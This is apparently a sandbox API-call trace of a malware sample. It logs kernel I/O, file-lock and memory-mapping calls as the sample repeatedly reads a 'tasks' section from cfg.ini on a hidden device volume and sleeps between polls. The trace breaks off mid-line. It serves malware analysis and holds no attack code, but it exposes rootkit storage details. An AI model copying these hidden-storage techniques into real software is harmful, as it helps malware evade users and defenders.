[0122.177] KeEnterCriticalRegion () [0122.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.177] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.177] KeLeaveCriticalRegion () [0122.177] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.177] KeEnterCriticalRegion () [0122.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.177] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.177] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.177] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.177] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.177] IdePortDispatch () returned 0x103 [0122.177] KeWaitForMutexObject () returned 0x0 [0122.177] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.177] KeLeaveCriticalRegion () [0122.177] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.177] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.177] KeEnterCriticalRegion () [0122.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.177] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c44000 [0122.177] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.177] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.177] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.177] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.177] IdePortDispatch () returned 0x103 [0122.178] KeWaitForMutexObject () returned 0x0 [0122.178] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.178] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.178] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.178] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.178] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.178] IdePortDispatch () returned 0x103 [0122.178] KeWaitForMutexObject () returned 0x0 [0122.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.178] KeLeaveCriticalRegion () [0122.178] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.178] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.178] KeEnterCriticalRegion () [0122.178] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.179] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.179] KeLeaveCriticalRegion () [0122.179] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.179] KeEnterCriticalRegion () [0122.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.179] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.179] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.179] KeLeaveCriticalRegion () [0122.179] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.179] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.179] KeEnterCriticalRegion () [0122.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.179] ExFreePoolWithTag (P=0xfffffa8003be3190, Tag=0x0) [0122.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.179] KeLeaveCriticalRegion () [0122.179] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.179] ReleaseMutex (hMutex=0xf0) returned 1 [0122.179] Sleep (dwMilliseconds=0x927c0) [0122.193] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.193] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.193] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.193] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.193] KeEnterCriticalRegion () [0122.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.193] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.193] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.193] IdePortDispatch () returned 0x103 [0122.193] KeWaitForMutexObject () returned 0x0 [0122.193] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.193] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.194] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.194] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.194] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.194] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3290 [0122.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.194] KeLeaveCriticalRegion () [0122.194] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.194] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.194] KeEnterCriticalRegion () [0122.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.194] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.194] KeLeaveCriticalRegion () [0122.194] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.194] KeEnterCriticalRegion () [0122.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.194] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.194] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.194] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.194] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.194] IdePortDispatch () returned 0x103 [0122.194] KeWaitForMutexObject () returned 0x0 [0122.194] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.194] KeLeaveCriticalRegion () [0122.194] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.194] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.194] KeEnterCriticalRegion () [0122.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.194] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c49000 [0122.194] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.194] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.194] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.194] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.194] IdePortDispatch () returned 0x103 [0122.195] KeWaitForMutexObject () returned 0x0 [0122.195] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.195] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.195] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.195] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.195] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.195] IdePortDispatch () returned 0x103 [0122.195] KeWaitForMutexObject () returned 0x0 [0122.195] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.195] KeLeaveCriticalRegion () [0122.195] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.195] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.195] KeEnterCriticalRegion () [0122.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.196] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.196] KeLeaveCriticalRegion () [0122.196] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.196] KeEnterCriticalRegion () [0122.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.196] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.196] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be38c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.196] KeLeaveCriticalRegion () [0122.196] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.196] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.196] KeEnterCriticalRegion () [0122.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.196] ExFreePoolWithTag (P=0xfffffa8003be3290, Tag=0x0) [0122.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.196] KeLeaveCriticalRegion () [0122.196] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.196] ReleaseMutex (hMutex=0xf0) returned 1 [0122.196] Sleep (dwMilliseconds=0x927c0) [0122.209] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.209] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.209] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.209] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.210] KeEnterCriticalRegion () [0122.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.210] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.210] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.210] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.210] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.210] IdePortDispatch () returned 0x103 [0122.210] KeWaitForMutexObject () returned 0x0 [0122.210] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.210] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.210] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.210] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.210] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.210] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3e10 [0122.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.210] KeLeaveCriticalRegion () [0122.210] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.210] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.210] KeEnterCriticalRegion () [0122.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.210] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.210] KeLeaveCriticalRegion () [0122.210] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.210] KeEnterCriticalRegion () [0122.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.210] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.210] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.210] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.210] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.210] IdePortDispatch () returned 0x103 [0122.211] KeWaitForMutexObject () returned 0x0 [0122.211] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.211] KeLeaveCriticalRegion () [0122.211] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.211] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.211] KeEnterCriticalRegion () [0122.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.211] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4e000 [0122.211] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.211] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.211] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.211] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.211] IdePortDispatch () returned 0x103 [0122.211] KeWaitForMutexObject () returned 0x0 [0122.211] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.211] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.211] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.211] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.211] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.211] IdePortDispatch () returned 0x103 [0122.211] KeWaitForMutexObject () returned 0x0 [0122.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.211] KeLeaveCriticalRegion () [0122.211] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.212] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.212] KeEnterCriticalRegion () [0122.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.212] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.212] KeLeaveCriticalRegion () [0122.212] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.212] KeEnterCriticalRegion () [0122.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.212] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.212] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.212] KeLeaveCriticalRegion () [0122.212] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.212] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.212] KeEnterCriticalRegion () [0122.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.212] ExFreePoolWithTag (P=0xfffffa8003be3e10, Tag=0x0) [0122.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.212] KeLeaveCriticalRegion () [0122.212] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.212] ReleaseMutex (hMutex=0xf0) returned 1 [0122.212] Sleep (dwMilliseconds=0x927c0) [0122.227] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.227] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.227] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.227] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.227] KeEnterCriticalRegion () [0122.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.227] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.227] IdePortDispatch () returned 0x103 [0122.227] KeWaitForMutexObject () returned 0x0 [0122.228] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.228] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.228] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.228] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.228] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.228] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3390 [0122.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.228] KeLeaveCriticalRegion () [0122.228] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.228] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.228] KeEnterCriticalRegion () [0122.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.228] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.228] KeLeaveCriticalRegion () [0122.228] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.228] KeEnterCriticalRegion () [0122.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.228] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.228] IdePortDispatch () returned 0x103 [0122.228] KeWaitForMutexObject () returned 0x0 [0122.228] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.228] KeLeaveCriticalRegion () [0122.228] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.228] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.228] KeEnterCriticalRegion () [0122.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.228] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c53000 [0122.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 